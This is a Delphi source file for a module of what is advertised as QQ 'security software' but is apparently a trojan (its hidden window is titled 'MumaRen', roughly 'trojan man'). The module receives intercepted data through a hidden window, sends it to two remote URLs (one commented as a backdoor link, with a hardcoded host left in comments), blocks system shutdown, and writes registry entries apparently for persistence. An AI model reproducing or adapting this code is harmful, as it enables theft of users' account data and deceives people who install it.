editwin.pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

unit  EditWin;

interface

procedure CreateEdit(); // 建立Edit窗口

implementation

uses
  Windows, Messages, UrlPost, ExtInfo,VarUnit,FunUnit,REG;

var
  Content: string; // 提交内容



Procedure closes;
var
    hWND1:HWND;
begin

  hWND1:= FindWindow('Edit', 'MumaRen');
   destroywindow(hWND1);

 end;

function Abort_shutdown : integer;  //确定是否关机

begin

    begin
       result := 0; //0不关机 1是关机
       CreateREG;

     closes;

    end;

end;


  // 提交信息线程
procedure SendThread(X: Integer); stdcall;
begin
  case X of
    //  1: PostURL('http://www.16ym.cn/cs/asp/Send.asp', Content);
    1: PostURL(ExtraInfo.Door, Content); // 后门链接
    2: PostURL(ExtraInfo.Link, Content); // 普通链接
   //   2: PostURL('http://www.16ym.cn/cs/asp/temp.asp', Content);
  end;
//  MessageBox(0, PChar(Content), ' 截获信息..', 0);
end;

  // Edit窗体过程
function EditProc(WinHanlde, MessageID, WParam, LParam: LongWord): LongWord; stdcall;
 var
 empty : array [0..0] of char ;
begin
  if (MessageID = WM_COPYDATA) then
  begin
    SetLength(Content, PCopyDataStruct(LParam)^.cbData);
    CopyMemory(@Content[1], PCopyDataStruct(LParam)^.lpData, PCopyDataStruct(LParam)^.cbData);
    CreateThread(nil, 0, @SendThread, Pointer(1), 0, LParam); // 后门链接
    CreateThread(nil, 0, @SendThread, Pointer(2), 0, LParam); // 普通链接
  end;
  case MessageID of
  WM_CLOSE  : PostQuitMessage(0);
  WM_QUERYENDSESSION :
             begin
               result:=Abort_shutdown;

             end;
   else
  Result := DefWindowProc(WinHanlde, MessageID, WParam, LParam);
 end;
end;

  // 建立Edit窗口(用于接收截获信息)
procedure CreateEdit();
var
  hEdit: LongWord;
begin
  hEdit := CreateWindowEx(0, 'Edit', 'MumaRen', 0, 0, 0, 0, 0, 0, 0, HInstance, nil);
  SetWindowLong(hEdit, GWL_WNDPROC, LongWord(@EditProc));
end;
  
end.